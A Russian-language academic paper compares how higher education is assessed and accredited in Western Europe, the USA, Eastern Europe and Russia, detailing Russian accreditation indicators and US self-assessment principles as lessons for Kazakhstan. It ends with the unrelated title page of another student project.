В скандинавских странах (Швеция, Норвегия, Финляндия) системы оценки высшей школы также изначально определялись правительством. В этих странах существует большое разнообразие в способах внешней оценки. В Швеции, например, основной упор делается на помощь учебным заведениям в разработке соответствующих инфраструктур. В Норвегии основное внимание уделяется оценке самого образовательного процесса и учебных программ. Причем процесс оценки проводится организациями, финансово поддерживаемыми правительством уже после того, как произведена самооценка учебного заведения. В Финляндии также сочетается сторонняя оценка и самооценка учебных заведений. Применяются и выборочные проверки отдельных структур со стороны внешних наблюдателей. В Дании проверка проводится внешними организациями, финансируемыми правительством. При этом самооценка высших учебных заведений основывается также на информации, получаемой не самим учебным заведением, а внешними экспертами. В Англии процесс оценки высшего образования постепенно сдвигается от организаций финансируемых правительством в сторону того, что можно назвать самооценкой. Однако, это еще не процесс, специально проводимый учебным заведением в целях улучшения работы; самооценка в этом контексте является подготовкой к подтверждению получения официальной оценки для убеждения сторонних наблюдателей и привлечения дополнительного финансирования.

Итак, в европейских странах преобладает государственная система оценки высшего образования. Можно привести немало свидетельств эффективности такой государственной системы. Во Франции, например, следует отметить существование, так называемого государственного знака качества, которым обладают те высшие школы, которые признает государство. Высшие школы, в которых Министерство народного образования осуществляет контроль обучения, могут выдавать дипломы “завизированные” министерством, что свидетельствует, по европейским понятиям, о качестве высшего образования. Этот “знак качества” особенно важен, поскольку только дипломы, имеющие такую государственную отметку, признаются во всех европейских странах. Государственный контроль качества высшего образования позволяет ряду французских высших школ выдавать двойные дипломы (французский и иностранный).

В этом плане наиболее продвинутая среди европейских стран система оценки вузов существует в Великобритании и Голландии. Так, в Великобритании за последние годы произошли определенные изменения в системе контроля за университетами. Деятельность Агентства по контролю за качеством вызывала замечания и поэтому сегодня для определения качества, уровня и рейтинга английские университеты, в первую очередь, обращаются в различные общественные советы экспертов, которые осуществляют независимый аудит. Как правило, аккредитируются те вузы, которые уже сделали не менее трех выпусков. При этом в Великобритании также возросло значение самооценки университетов, проводимой внутренними университетскими структурами, специально организованными для таких целей.

Однако в мире имеются и другие тенденции в развитии оценки и контроля высшего образования. По мнению некоторых экспертов, в мире в 90-е годы, а значит и сегодня, в начале нового века, имеет место тенденция к большему развитию и распространению процессов самооценки. И это касается не только стран, заимствующих американский опыт, но в результате эволюции традиционных систем оценки высшего образования. /Келс Г.Р. Процесс самооценки. Руководство по самооценке для высшего образования. М., 1999. С. 23-24./ Так, в той же Франции сегодня имеет место тенденция перехода от оценки, первоначально построенной на принципах централизации, к процессу самооценки, тесно связанному с самим учебным заведением. В скандинавских странах где, как было указано, оценка всегда являлась требованием правительства, процесс развития оценки высшего образования также идет в сторону самооценки и вовлечения в процесс оценки самого высшего учебного заведения. В Финляндии процесс оценки высшего образования все больше сдвигается в сторону полной ответственности учебных заведений за регуляцию собственной деятельности, при которой правительство играет вспомогательную роль. В Испании на основе экспериментов, проводившихся в течение нескольких лет, в 90-е годы начато применение системы оценки, базирующейся на самооценке, где особое внимание уделяется анализу образовательного процесса, организации управления на уровне университета.

Однако наибольшее развитие система самооценки университетов получила в США. Это связано с тем, что источники власти и контроля в американских университетах иные, нежели в европейских странах. В США, огромное многообразие послесредних (высших) учебных заведений сочетается со значительной слабостью государственного контроля качества их работы. В отличие от стран, где есть Министерство образования, или аналогичные структуры, американское высшее образование контролируется преимущественно самими учебными заведениями. Департамент образования в США никогда не имел такого значения как, например, Министерство просвещения в Германии. Реальная административная и финансовая власть в американских университетах принадлежит Попечительским советам (в государственных университетах финансы предоставляет штат). Именно этим Попечительским советам администрацией штата (где находится университет) поручается осуществлять контроль работы университета. И хотя в 90-е годы наметилось усиление контроля над университетами со стороны администрации многих американских штатов, особенно в отношении лицензирования частных учебных заведений и образовательных программ, основой оценки и контроля высшего образования в Америке по-прежнему остается саморегуляция.

Основанием американской системы саморегуляции является желание улучшить систему образования путем оценки, проводимой на уровне всего учебного заведения. Существуют несколько способов такой оценки.

Во-первых, оценка через аккредитацию учебного заведения по регионам (которых в США шесть) специальными организациями, обладающими четко сформулированными стандартами и требованиями к периодичной самооценке и оценке со стороны внешних наблюдателей. Во-вторых, оценка через специализированную, построенную на оценке профессионального уровня аккредитацию образовательных программ, которая функционирует также как и соответствующая оценка этих программ внутри учебного заведения, однако организуется профессиональным союзом. В-третьих, оценка образовательных программ полностью организованная самим университетом и нацеленная на улучшение его деятельности, на возможность перераспределения ресурсов и образовательных приоритетов. По мнению Г.Р.Келса, системы оценки, организованные самими университетами — это наиболее прогрессивные формы саморегуляции, а поэтому, в целом, — наиболее надежной и зрелой системой саморегуляции высшего образования является система, принятая в Америке. /Келс Г.Р. Процесс самооценки. Руководство по самооценке для высшего образования. М., 1999. С. 22./.

Следует отметить, что важную роль в США в процессе аккредитации программ и специальностей высших учебных заведений играют профессиональные общественные ассоциации (ассоциации медиков, юристов, инженеров и т.п.). Считая одной из своих главных задач поддержание высокого престижа своей профессии и компетенции ее представителей, эти ассоциации очень строго оценивают и сравнивают результаты деятельности высших учебных заведений. /Вульфсон Б.Л. Стратегия развития образования на Западе на пороге ХХI века. М.: Изд-во УРАО, 1999. С.114-115/.

Такая аккредитация по американским правилам, на основании внутри университетской самооценки, способствует повышению качественного уровня деятельности учебных заведений. Она стимулирует проведение разнообразных мероприятий по модернизации содержания образовательных программ, активизации образовательного процесса, широкому использованию новейших технических средств обучения.

Таким образом, сравнительный обзор систем оценки высшего образования по ряду стран показывает, что имеются различные подходы к тому, каким образом и на каких основаниях вести оценку деятельности высших учебных заведений.

Сравнение действующего в Казахстане механизма оценки высших учебных заведений с системами оценки высшего образования в развитых странах показывает, что казахстанской высшей школе еще преждевременно полностью переходить на американскую систему самооценки и внешней оценки профессиональными ассоциациями. Разумеется, это не означает отказа от самооценки или от общественной оценки — в перспективе. Но в настоящее время, когда, с одной стороны, в вузах еще отсутствуют отделы оценки и анализа и, с другой стороны, в социальной сфере слабо развиты профессиональные ассоциации, которые бы могли выступать в качестве экспертов, для Казахстана сохраняет актуальность полноценная реализация потенциала государственной оценки. При этом, разумеется, не следует абсолютно отказываться от процедур общественной оценки и самооценки. Однако эти формы оценки высшего образования должны внедряться постепенно. Следует обратить внимание на опыт стран более близких к Казахстану по состоянию и развитию высшего образования, особенно тех, где сочетается система государственной оценки, общественной оценки и самооценки. Такими странами по отношению к современному Казахстану в известном смысле являются страны Восточной Европы и страны СНГ, поэтому имеет смысл рассмотреть в сравнительном плане системы оценки в странах именно данного региона.

2. Сравнительный обзор систем оценки высшего образования в странах Восточной Европы и СНГ: лицензирование, аттестация, аккредитация

В странах европейского региона можно выделить следующие основные процедуры контроля качества образования со стороны государственных органов: лицензирование, оценка (аттестация), аккредитация.

Лицензирование и аккредитация проводятся государственными или другими органами на основе заранее установленных критериев, а вузы или программы должны удовлетворять определенным минимальным требованиям. Оценка (аттестация) может основываться на источниках информации широкого спектра, и к ней могут быть привлечены как местные, так и приглашенные специалисты, ее главной целью могут быть как процессы, так и результаты, однако, в целом, упор на дифференцированное и детальное оценивание напоминает аккредитацию и лицензирование с их порогом минимальных требований.

Следует иметь в виду, что термины лицензирование, оценка и аккредитация не всегда последовательно используются в дискуссиях по вопросам политики в области образования в странах Центральной, Восточной, да и Западной Европы. Это, главным образом, относится к соотношению терминов и процедур аккредитации и аттестации (оценки). Порой, затруднительно четко отделить лицензирование, аккредитацию и оценку друг от друга, так как имеет место (как в дискуссиях, так и на практике) пересечение, и даже смешивание этих понятий и процессов. Данное обстоятельство, безусловно, должно наводить нас на определенные размышления, с тем, чтобы способствовать созданию в Казахстане системы оценки, не повторяющей чужих недостатков.

Несколько примеров. В Эстонии лицензирование и аккредитация учебных заведений осуществляется Советом по оценке качества в высшем образовании. В состав совета входят ученые, представители профессиональных органов и организаций, занимающихся поддержкой научных исследований. Открывающиеся вузы должны отвечать установленным требованиям по вопросам, касающимся помещений, преподавательского состава и программ. Частные вузы дополнительно контролируются комитетом, который проверяет их соответствие образовательным и финансовым нормативам. По Закону об университетах Совет по оценке качества также занимается аккредитацией, которая должна проводиться, по меньшей мере, один раз в семь лет и охватывает как программы, так и сами учебные заведения. То есть аккредитация, с одной стороны, подразумевает оценку качества программы, квалификацию преподавателей, уровень знаний студентов и эффективность учебного процесса, а, с другой, — оценивает деятельность вуза в целом.

В Чехии имеется Агентство по аккредитации, которое также как и эстонский Совет, занимается аккредитацией и регулярной оценкой системы высшего образования. Однако в Чехии, как и во многих других странах, школы высшего профессионального образования контролируются и оцениваются чешской Инспекцией школ. То есть, здесь виден известный параллелизм в органах оценки. Кроме того, по собственной инициативе вузы могут быть оценены и независимыми экспертами.

В Латвии аккредитация государственных и частных вузов проводится под контролем Министерства образования и науки, по крайней мере, один раз в шесть лет в соответствии с нормативами, одобренными Кабинетом министров. Аккредитация вузов должна быть одобрена Советом по высшему образованию после консультаций с зарубежными экспертами и официально признана Министерством образования и науки. Министерство также публикует в газетах список аккредитованных учебных заведений и программ.

В Словении, напротив, вузы совместно учреждают Комитет по оценке качества в высшем образовании и сами отвечают за надзор. В Польше в соответствии с законом вузы сами оценивают качество образования. При этом польский Совет по высшему образованию предлагает три уровня оценки: аккредитованный статус, базовый уровень качества и высший уровень качества. Процедура аккредитации также была введена в Венгрии и Хорватии. Так, в Хорватии каждые пять лет экспертная комиссия, назначаемая министерством науки и техники, оценивает уровень качества и эффективности преподавания, а также научную и профессиональную деятельность.

В целом, следует отметить, что в странах Восточной и Центральной Европы (по уровню развития образования близких к Казахстану), современная система лицензирования, аттестации и аккредитации во второй половине 90-х годов, по сути, только создавалась и апробировалась. В определенной степени этот процесс не закончен и до сих пор.

Что касается Российской Федерации, опыт которой для Казахстана важен, то там изначально сложилась система нескольких раздельных типов оценки, где процедура лицензирования отделена от процедуры аттестации. Однако, приказом Министерства образования РФ от 12 ноября 1999 года (№ 864), в целях совершенствования процедур оценивания деятельности вузов, утвержден новый порядок “комплексной оценки деятельности высшего учебного заведения, основанный на объединении процедур повторного (очередного) лицензирования, аттестации и государственной аккредитации”. Данное решение является принципиальным и вносит упорядочение в сферу оценки, которая до последнего времени в РФ была раздроблена.

Серьезный пересмотр сложившихся подходов к оценке эффективности деятельности образовательных учреждений обусловлен двумя причинами /см.: Шадриков В., Геворкян Е., Калабин С., Киринюк А., Наводнов В., Мотова Г., Петропавловский М.. О процедуре комплексной оценки вуза // Высшее образование в России. — 2001. — № 1.- С.29-38/.

Во-первых, срок действия оценочных процедур, как правило, ограничивается пятью годами и требует периодически повторного прохождения. Но ситуация осложняется тем, что из-за несовпадения сроков действия документов внешняя экспертиза учреждения (лицензионная, аттестационная и при необходимости аккредитационная) проходит в разное время и делает процесс оценки практически непрерывным. Во-вторых, опыт первых лет проведения регламентирующих процедур показал их явное дублирование по содержанию и документообороту. Информация о деятельности вуза, запрашиваемая экспертными комиссиями, предоставляется по разным установленным формам и не дает возможности аналитического использования как органом управления образованием, так и самим образовательным учреждением. К тому же нередко работа экспертных комиссий, разнесенных по времени, ограничивается уточнением формальных показателей без должной оценки содержания и качества подготовки студентов. Избежать дублирования процедур и оптимизировать процедуры регламентации в РФ предполагают, применяя комплексный подход к оценке деятельности организаций образования.

В России разработана модель комплексной оценки вуза, которая складывается из трех процедур: повторное лицензирование; аттестация; аккредитация. Комплексная оценка предполагает принятие решения и выдачи полномочных документов на единый срок: лицензии на право образовательной деятельности и свидетельства о государственной аккредитации с перечнем программ, по которым учреждение получает право выдавать своим выпускникам документы об образовании государственного образца.

Для органов Министерства образования, обеспечивающих организацию внешней экспертизы, введение комплексной оценки потребовало: разработки единой программы комплексной оценки, чтобы избежать дублирования действий подкомиссий; обеспечение сбора полной информации в едином формате; сохранение основных принципов законодательства в подготовке отчетных материалов для принятия решений о лицензировании, об аттестации, о государственной аккредитации.

В частности, при повторном (очередном) лицензировании осуществляется оценка условий организации образовательного процесса: организационно-правовых основ; материально-технической базы и учебных ресурсов (кадровое, информационное, техническое обеспечение); социальной инфраструктуры. Содержание аттестационной экспертизы — оценка самого образовательного процесса, соответствия содержания, уровня и качества подготовки специалистов требованиям государственных стандартов. Наконец, предметом процедуры государственной аккредитации являются: оценка эффективности и результативности деятельности учреждения образования; установление его государственного статуса; предоставление на определенный срок прав и полномочий в соответствии с законодательством.

Однако следует подчеркнуть, что в РФ все три процедуры оценивания осуществляются в рамках Министерства образования. Насколько приемлема такая “монополизированная” система для Казахстана с учетом мировых тенденций в этой области?

Опыт создания “Национальной системы оценки качества образования” имеется во многих странах /Мотова Г.Н., Наводнов В.Г., Куклин В.Ж., Савельев Б.С. Системы аккредитации за рубежом — М., 1998.- 180 с./. Но, разграничение процесса оценивания на три процедуры является характерной чертой ряда стран СНГ. Аккредитации, как правило, здесь предшествуют периодические процедуры лицензирования, самоаттестации и аттестации, занимающие длительный период времени. Адаптация всей этой системы к международному опыту оценки должна идти, на наш взгляд, в первую очередь, через создание эффективного механизма аккредитации.

3. Два полюса аккредитации: США и РФ (общая схема, подходы, показатели)

Основным интегральным процессом оценки высшего образования в странах Европы, Америки, а с недавнего времени и в странах Евразийского региона, является процедура аккредитации. Очевидно, что, разрабатывая механизм государственной аккредитации и учитывая разнообразие мнений в мире по этому поводу, Казахстану необходимо учесть опыт стран и систем высшего образования, с одной стороны, наиболее “далеких”, а, с другой стороны, наиболее “близких” по состоянию и проблематике высшей школы. Именно поэтому мы остановимся подробнее на опыте двух стран — США и РФ.

В США процедура аккредитации университетов, как уже отмечалось, связана с деятельностью не федеральных органов и не с правительством штатов, а с деятельностью региональных Ассоциаций университетов и колледжей. Эти ассоциации имеют специальные Комиссии по высшему образованию, которые и проводят процедуру аккредитации университетов, находящихся на территории региона. Рассмотрим схему оценки американского университета на примере требований Ассоциации университетов региона Средних Штатов.

Комиссией по высшему образованию Средних Штатов разработаны и опубликованы два документа: 1) “Общая схема для оценки результатов” (второе издание, 1996 год); 2) “Параметры успеваемости в высшем образовании и стандарты аккредитации” (1994 год). На основе этих документов региональной Ассоциации и происходит подготовка университетов к аккредитации. Данные документы не представляют собой конкретной регламентированной программы оценки университета. Наоборот, принципиальная специфика аккредитации по-американски состоит в том, что, несмотря на стандартность самой процедуры аккредитации, Ассоциация по высшему образованию оставляет за каждым университетом и колледжем исключительное право определять оптимальную стратегию и способы ее проведения.

Каждый американский вуз, который планирует проведение оценки и аккредитацию, должен разработать свою концептуальную схему, свою стратегию и программу оценки, свою методику и план ее реализации в соответствии с собственной миссией, целями и университетскими ресурсами. При этом, в любом случае: применяется вузом собственная или заимствованная стратегия и методика оценки — этот процесс оценки должен быть совместным трудом преподавателей, администрации университета и студентов. Согласно американским стандартам аккредитации, оценка применяется в следующих основных сферах: 1) качество академических и иных учебных программ; 2) институциональная (общеуниверситетская) эффективность; 3) отчетность и общественная ясность процессов и процедур.

Оценка качества образования является, по существу, составной частью процесса преподавания и получения знаний, она способствует проведению критического самоанализа образовательного процесса, основанного на фактических данных. То есть, недостаточно только проводить оценку качества, данные оценки должны применяться, чтобы вуз и преподаватели могли улучшить реальное качество образования. При этом, по мнению Комиссии по высшей школе, из данных, полученных в процессе оценки могут быть выделены несколько вопросов:

1) разработал ли вуз программы, помогающие преодолеть недостатки в освоении требуемых навыков?

2) исследовал ли вуз влияние отбора перечня и последовательности курсов на учебные результаты студентов?

3) насколько успешно студенты усваивают знания и навыки образовательных и специальных предметов?

4) пересмотрен ли учебный план, если результаты оценки показывают, что такой пересмотр обоснован?

5) разработал ли вуз программы, способствующие личному социальному росту студентов.

Перечень выделяемых вопросов может быть расширен.

Как указывается в американских “Параметрах и стандартах аккредитации”: наиболее продуктивное изучение полученных результатов должно предоставлять полезную совокупность данных для вузовских исследований и позитивных изменений. Важно то, что при этом всячески подчеркивается роль преподавательского состава, который абсолютно обязательно должен быть вовлечен в процесс улучшения образования. Активность преподавательского корпуса, как на стадии оценки, так и на стадии последующих новаций и изменений является характерной чертой университетов США.

В материалах региональной Ассоциации университетов Средних Штатов приведена схема “петля улучшения качества преподавания”, где последовательно замкнуты: “преподавание — обучение — оценка — улучшение — преподавание”. Таково место оценки в процессе улучшения качества высшего образования. Интересно, что Комиссия по высшей школе не выступает за стандартизацию всех результатов оценки и не стремится к применению механического подхода в совершенствовании преподавания и обучения. Однако вузу требуется показать, что результаты оценки были использованы в качестве основы для постоянного самосовершенствования.

Следующий важный аспект оценки — это оценка эффективности университета как организации. Тогда как преподавание и научная работа — это то, что делает вуз, то институциональная эффективность — это то, чего вуз на самом деле добивается. И чем больше в процессе оценки имеется доказательств соответствия организационных результатов поставленным целям, тем более очевидна институциональная эффективность, тем более вероятно получение или подтверждение аккредитации университетом. Процесс аккредитации в этом случае может рассматриваться, как попытка добиться желаемых результатов, а оценка, при этом — как получение информации, позволяющей определить, где необходимы улучшения.

Таким образом, оценка институциональной эффективности предполагает обязательное формулирование миссии, цели и задач университета, которые преподавателями и персоналом переносятся в образовательные программы. Определение миссии и задач университета является отправной точкой для выявления его институциональной эффективности. С другой стороны, любая формулировка миссии и цели должна быть трансформирована в форму краткосрочных и долгосрочных планов. При отсутствии таких планов оценка институциональной эффективности университета проблематична.

При этом в американских рекомендациях по оценке и аккредитации подчеркивается связь оценки институциональной эффективности с самоизучением, самообследованием. Так, в идеальных условиях сам университет проводит самооценку, чтобы проверить соответствие планов, бюджетов и функций, уточнить распределение ресурсов, углубить учебные программы. Что касается оценки отчетности и общественной прозрачности университета, то это также является важным аспектом, позволяющим реально сравнивать деятельность и состояние разных университетов.

Очевидно, что результативность оценки зависит не только от ее общей схемы и детализированной стратегии и программы. Сами методы сбора и оценки результатов вуза должны быть адекватными. Сбор соответствующих данных о результатах деятельности университета — это сложная работа, связанная с проблемами измерения. Даже если позитивный рост происходит, то количественные и качественные методы могут не всегда быть адекватными, чтобы измерить эти изменения и развитие.

Многие американские университеты пришли к выводу, что долгосрочные многомерные исследования производят больший эффект, чем одноразовые одномерные исследования. Поэтому опросы мнений, интервью студентов, оценка работы преподавателей, успеваемость студентов по результатам тестов, периодические обзоры учебных программ, изучение деятельности выпускников, — оцененные со временем, — все это является важными средствами получения полезной информации и обратной связи. Однако в американских вузах имеется и скептическое отношение к стандартизированным тестам. По мнению некоторых преподавателей, стандартизированные тесты не охватывают полностью содержания учебных предметов и опыта работы в студенческой аудитории.

Если брать в целом, в широком контексте оценки общего университетского (институционального) качества, то академические достижения студентов — это критический компонент для определения того, университет достиг, или нет, своих образовательных и других целей. Следовательно, общая оценка вуза в обязательном порядке должна фиксировать академические достижения студентов. Это обеспечивает основу для суммарной оценки эффективности университета, на базе которой, те, кто принимает решения, судят об уровне вуза. А суждения эти могут варьироваться от общественного одобрения до реального увеличения или уменьшения ресурсов, в особенности для государственных вузов.

Как уже отмечалось, суть американского подхода к оценке и аккредитации университетов заключается в том, что отсутствует единый шаблон оценки, а вузы могут комбинировать различные методики, разрабатывая собственную программу оценки. Однако следует отметить те принципы оценки, которые имеют универсальное значение: участие преподавателей, административная поддержка и т.д.

Особое значение в университетах США придается привлечению преподавателей к процессу оценки. Инициатором оценки может быть ректор, проректор, декан, но преподаватели должны быть в центре оценки университетских результатов. В идеале оценочный процесс вырастает из партнерства между администрацией и преподавательским составом. Участие преподавателей в оценке необходимо, в том числе и для того, чтобы они могли сохранять приверженность к результатам проверки по прошествии времени и стремились в итоге к реализации позитивных изменений.

Следует отметить, что преподаватели не могут независимо администрировать оценочный проект по всему университету. Для программы оценки необходима сильная административная поддержка — администраторы должны работать вместе с преподавателями. Чтобы стимулировать на должном уровне интерес преподавателей к оценке, администраторы должны уважать обязательства преподавателей по времени, учитывать их приоритеты и системы ценностей. Может возникнуть ситуация, когда подходы к оценке, приемлемые для одного преподавателя, могут оказаться неприемлемыми для другого. Так же как, впрочем, и подходы к оценке одного вуза могут не подойти к другому. Но все это, с точки зрения американских Комитетов по высшему образованию, — нормальное явление, которое следует не отбрасывать, а учитывать.

При этом следует подчеркнуть, что в большинстве американских вузов имеются специальные отделы по оценке, проводящие централизованный сбор информации, задающие направление оценки и координирующие общую деятельность. Но в любом случае, по американским понятиям, каждый университет должен найти собственный подход, чтобы обеспечить эффективное осуществление оценки с участием преподавателей. Начинать же, в соответствии с самым простым практическим методом, надо с того, что есть, и уже на этой основе создавать нечто новое.

Преподаватели должны начать на своем уровне (уровне студенческой аудитории) разработку проекта оценки так, чтобы в итоге ответить на ключевые вопросы:

что должны изучать студенты?

насколько хорошо они это изучают?

как мы это узнаем?

как эта информация может улучшить обучение?

Разумеется, преподаватели могут принимать участие в оценке и на факультетском, и общеуниверситетском уровне. И здесь в американских вузах (также как и у нас) комиссии преподавателей и администраторов являются центральным компонентом общеуниверситетской оценки.

Важным аспектом оценивания в вузах США является понимание того, что оценивание — это основа для постоянного самосовершенствования. В идеальных условиях оценивание является частью каждодневной деятельности, поддерживается администрацией, служит основанием для внутри университетских реформ, рассматривается преподавателями как профессиональная обязанность.

Комитет по высшей школе Ассоциации университетов региона Средних Штатов (США) предлагает вузам следующие основополагающие принципы оценки:

1) Оценивание должно быть многоуровневым, а главным компонентом его должны стать образование и развитие студентов. Данный принцип предполагает использование различных методов к определению качества образования. Хорошо зарекомендовали себя в Америке тесты по общему образованию после 2 лет обучения и тесты по фундаментальным и специальным дисциплинам после 4 лет обучения. Однако, существенное значение имеет и анкетирование — методы оценки, обеспечивающие сходные индикаторы качества образовательных программ: оценка студентами содержания курсов и качества преподавания; степень удовлетворения студентов качеством образовательной программы; степень их личного развития; степень участия студента в образовательных программах; степень участия студента в академических и дополнительных мероприятиях; оценки преподавателями друг друга; оценка достижений и деятельности выпускников.

2) Программы по оценке должны включать исследования и анализ результатов оценки. Результаты оценки должны быть интерпретированы, проанализированы и сохранены. Так, оценка принесет пользу и в будущем, когда будут сравнены результаты различных по времени оценок.

3) Программы по оценке должны быть реалистичны. Очевидно, что оценка должна начинаться с реалистичными ожиданиями в плане осуществления намеченных целей. Цели университета должны соответствовать его ресурсам.

4) В оценке должны максимально использоваться существующие данные исследований. Многие вузы начали успешные программы по оценке, проанализировав полезную информацию, которая уже была в университете, со временем постоянно расширяя сбор информации.

5) Результаты оценивания должны принести доходы, оправдывающие затраты вуза на него. Основная прибыль от результатов оценки в том, что она представляет информацию, которая в других случаях недоступна, но необходима для принятия решений. Обычно университеты сталкиваются со следующими затратными статьями: создание инструментария оценки (тесты, анкеты, вопросники, обзоры и т.д.) в университете или приобретение его извне; администрирование, применение инструментария оценки среди студентов и преподавателей; анализ оценки и распространение результатов; координация мероприятий по оценке.

В оценке университета главную роль играет оценка основных образовательных секторов: 1) общее образование (общеобразовательная программа); 2) специализация; 3) развивающее, базовое образование (для поступающих в университет студентов); 4) личное и общественное развитие студента; 5) послевузовское и профессиональное образование.

В плане общеобразовательных программ обычно оценивается компетентность студента в четырех основных сферах: мыслительные (когнитивные) способности; фундаментальные знания; пользование информацией; осознание социокультурных ценностей. В процессе оценки общеобразовательной и специальной компетенции студента может использоваться различный инструментарий: 1) стандартизированные тесты; 2) местные общие тесты; 3) специальные тесты; 4) внутри курсовые оценки; 5) самоконтроль студентов; 6) оценка “портфолио”; 7) “сборный курс”. Кратко охарактеризуем некоторые особенности этих видов оценки.

В США наиболее распространены стандартизированные тесты и тесты по специальностям. Применение стандартизированных тестов повышающейся трудности на разных этапах обучения позволяют вести сравнительный анализ общеобразовательного уровня студента. Местные тесты предназначены для более узких аспектов, разрабатываются обычно для университета и не стандартизированы. Специальные тесты предназначены для выявления уровня студента по предметам специализации. Примером внутри курсовой оценки является оценка информационной грамотности, производящаяся в американских вузах в контексте разнообразных дисциплин. Идея, лежащая в основе студенческого самоконтроля, как инструмента оценки, заключается в том, что студенты, в целом, правильно оценивают свой уровень общего образования, поэтому сравнение их самооценки с объективными источниками имеет смысл. Наконец оценка “портфолио”, это практика сбора информации о значительных результатах работы отдельного студента с течением времени. “Портфолио” может включать различные результаты умственной деятельности студента: курсовые работы, лабораторные отчеты, эссе, программы, научные статьи и т.д. Технология “сборного курса” не тестовая и имеет своей целью интегрированно оценить результативность общего и специального образования. Сборный курс реализуется на старшем курсе в виде междисциплинарного семинара, на котором студент должен продемонстрировать свои знания и навыки как в общих, так и специальных областях, то есть здесь обучение и оценка происходят одновременно.

Именно при помощи данного инструментария (тестового и не тестового) происходит сбор данных для индикаторов оценки качества образования в американских университетах в ходе подготовки к аккредитации.

Анализ зарубежного опыта аккредитации вузов показывает /Accreditation Handbook /N.W.A.S.C., Seattle, 1988; BrennanJ., Gocdegebuure I., SbanJ., Westerbeijden D., Weustbof P. Comparing Quality in Europe // Higher Education in Europe / UNESCO Europen Centre for Higher Education. 1993/ — Vol. XVIII. — N/ 2; Мотова Г.Н., Наводнов В.Г., Куклин В.Ж., Савельев Б.С. Системы аккредитации за рубежом.- М.,1998.- 180 с./, что перечень индикаторов (показателей), определяемых органом аккредитации, содержит, как правило, до 10-16 крупных показателей. Эти индикаторы (показатели) обычно группируются на три группы:

показатели условий осуществления образовательной деятельности (концепция учебного заведения, кадры, образовательные ресурсы, финансовая состоятельность);

показатели процесса (управление учебным заведением, содержание образовательных программ, социальная инфраструктура, механизм гарантии качества образования и т.д.);

показатели результата (качество подготовки бакалавров, магистров и т.д., уровень их трудоустройства, эффективность научно-исследовательской и научно-методической деятельности).

Имеет смысл специально рассмотреть систему показателей аккредитации в России, так как Казахстан и Россия имеют в настоящее время сходные проблемы в высшем образовании. Это тем более важно, что в России к необходимости государственной аккредитации высших учебных заведений пришли от традиционных процедур лицензирования и аттестации. А именно такая ситуация сегодня имеет место в Казахстане.

Перечень показателей государственной аккредитации России утвержден приказом Министерства образования РФ от 29 июня 2000 года (№ 1965) и содержит 11 показателей. По мнению экспертов, этот перечень “на данный момент можно считать достаточным для интегральной оценки эффективности деятельности вуза и отнесения его к типу учреждений высшего профессионального образования и одной из видовых групп” /Шадриков В., Геворкян Е., Наводнов В., Мотова., Петропавловский М. О показателях государственной аккредитации вузов // Высшее образование в России. 2001. № 2. С. 18/.

Показатели государственной аккредитации в РФ разделены на две части:

показатели, определяющие статус учебного заведения по типу (статус “высшее учебное заведение”);

показатели, используемые для определения вида высшего учебного заведения (институт, академия, университет).

Показатели, определяющие тип учебного заведения в РФ, следующие:

Показатель 1. Содержание подготовки (структура и содержание реализуемых образовательных программ; соответствие учебных планов и программ учебных дисциплин требованиям государственных образовательных стандартов).

Показатель 2. Качество подготовки (требования при приеме в вуз; организация учебного процесса; соответствие уровня подготовки обучающихся требованиям государственных образовательных стандартов).

Показатель 3. Информационно-методическое обеспечение образовательного процесса (состояние библиотечного фонда; состояние учебно-информационного фонда).

Показатель 4. Информатизация вуза (наличие средств вычислительной техники и применение их в учебном процессе, научной деятельности и управлении вузом).

Показатель 5. Материально-техническая база (наличие условий, оборудования, приборов, кабинетов и аудиторий для осуществления образовательного процесса).

Показатель 6. Социальная поддержка студентов (наличие условий для проживания обучающихся в общежитиях, медицинского обслуживания, питания и занятий спортом).

Показатели государственной аккредитации, используемые для определения вида вуза (институт, академия, университет) сформулированы в РФ так:

1) Спектр реализуемых основных образовательных программ (реализуемые образовательные программы и контингент студентов по профилям подготовки).

2) Возможность продолжения образования по программам послевузовского и дополнительного профессионального образования (реализация программ послевузовского профессионального образования (аспирантура, докторантура), контингент аспирантов и (или) докторантов, соискателей ученой степени кандидата и (или) доктора наук; диссертационные советы; реализация образовательных программ, профессиональной переподготовки и (или) повышения квалификации кадров).

3) Научные исследования (спектр наук, в рамках которых выполняются научные исследования; объем финансирования и результативность научных исследований).

4) Научно-методическая работа (изданные монографии; изданные учебники и учебные пособия с грифами государственных органов управления образованием, других государственных органов исполнительной власти, учебно-методических объединений).

5) Качественный состав научно-педагогических кадров (преподаватели с учеными степенями и (или) званиями; преподаватели — доктора наук и (или) профессора). Следует отметить, что приказом Министерства образования РФ от 8 ноября 2000 года этот показатель дополнен еще одним существенным критерием: процент преподавателей, работающих в вузе на полную ставку (штатные преподаватели).

Таковы в настоящее время в РФ утвержденные показатели, на основе которых проводится государственная аккредитация вузов. Однако важны не только сами показатели, чрезвычайно существенное значение имеют технология и соответствующие критерии, при помощи которых происходит реальная оценка качества высшего учебного заведения.

Спецификой российской системы оценки качества подготовки выпускников (как и в других странах СНГ) является оценка соответствия качества образования требованиям Государственных образовательных стандартов по четырем циклам дисциплин: гуманитарные и социально-экономические дисциплины; естественнонаучные и математические; общепрофессиональные; специальные.

Для подготовки экспертного заключения о качестве подготовки в РФ используются различные методы оценки /Шадриков В., Геворкян Е., Наводнов В., Мотова., Петропавловский М. О показателях государственной аккредитации вузов // Высшее образование в России. 2001. № 2. С. 19/ :

— экспертный опрос с использованием трехбалльной шкалы: “соответствует”, “соответствует в основном”, “не соответствует”;

— контрольные (квалификационные) работы с использованием пятибалльной шкалы: “отлично”, “хорошо”, “удовлетворительно”, “неудовлетворительно”;

— тестирование с использованием 100-балльной (процентной) шкалы.

К экспертному заключению также прилагается использованные педагогические измерительные материалы и заключение об их соответствии государственным требованиям к минимуму содержания и уровню подготовки.

Что касается критериальных значений показателей государственной аккредитации, используемых при установлении вида высшего учебного заведения, то в РФ установлен ряд определенных критериев. Критериальные значения в РФ установлены только для определения вида вуза, а не его типа. (См. приказ Министерства образования РФ по аккредитации от 29 июня 2000 года).

Итак, в данном параграфе нами были рассмотрены две модели “оценки-аккредитации”: американская модель, которую следует обозначить как либеральную, и российская, которая может быть определена как строго государственная. Очевидно, что данные зарубежные концептуальные и “технологические” подходы к процедуре аккредитации должны быть учтены при разработке индикаторов и критериев национальной системы оценки высшей школы в Казахстане

Список литературы

Для подготовки данной работы были использованы материалы с сайта http://pedagogika.by.ru/

Курсовая работа: Проект по запуску производства прибора «Светлон»

Министерство образования и науки Российской Федерации

Оренбургский государственный институт менеджмента

Факультет менеджмента

Кафедра производственного менеджмента

КУРСОВОЙ ПРОЕКТ

